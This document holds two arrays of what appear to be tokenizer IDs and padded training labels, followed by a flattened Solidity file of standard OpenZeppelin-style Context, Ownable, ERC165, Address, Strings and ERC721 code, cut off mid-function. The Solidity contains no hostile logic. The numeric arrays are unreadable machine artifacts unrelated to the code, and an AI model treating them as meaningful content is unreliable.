[ 1, 4625, 348, 7953, 560, 30, 11511, 326, 394, 1015, 2507, 1380, 487, 326, 1015, 2507, 548, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 1015, 2507, 548, 273, 365, 18, 11890, 5555, 63, 79, 24410, 581, 5034, 2932, 2251, 2507, 1380, 7923, 15533, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: extensions/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: extensions/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File: extensions/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File: extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: extensions/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns 